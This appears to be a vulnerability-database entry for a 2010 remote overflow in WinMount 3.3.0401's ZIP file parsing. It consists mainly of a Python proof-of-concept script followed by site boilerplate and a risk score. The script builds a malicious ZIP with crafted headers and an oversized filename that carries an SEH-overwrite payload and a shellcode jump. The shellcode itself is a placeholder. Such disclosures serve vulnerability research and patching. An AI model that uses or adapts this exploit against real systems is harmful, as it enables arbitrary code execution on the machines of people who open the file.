WinMount 3.3.0401 ZIP文件解析远程溢出漏洞
Poc:
import os
sploitfile="test.zip"
ldf_header =('\x50\x4B\x03\x04\x14\x00\x00'
'\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\xd0\xff'
'\x00\x00\x00')
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xd0\xff"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\xfe\xff\x00\x00"
"\xee\xff\x00\x00"
"\x00\x00")
print "[+] Preparing payload\n"
size=65484
junk='A'*420
nseh='\x89\x8a\x8b\x8c'
seh='\x84\x5b\xac\x8d'
junk_='A'*33
jumpto='\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4'#make eax point to shellcode \
and jump to shellcode shellcode=("the shellcode here will be changed into \
unicode")#encode by alpha2 junk__='B'*80
last='C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+".wav"
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print "[+] Removing old zip file\n"
os.system("del "+sploitfile)
print "[+] Writing payload to file\n"
fobj=open(sploitfile,"w",0)
fobj.write(evilzip)
print "generate zip file "+(sploitfile)
fobj.close()
print '[+] Wrote %d bytes to file sploitfile\n'%(len(evilzip))
print "[+] Payload length :%d \n"%(len(payload))
--------------
lilf
2010-04-17
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Apr 2010 00:00Current
6.9Medium risk
Vulners AI Score6.9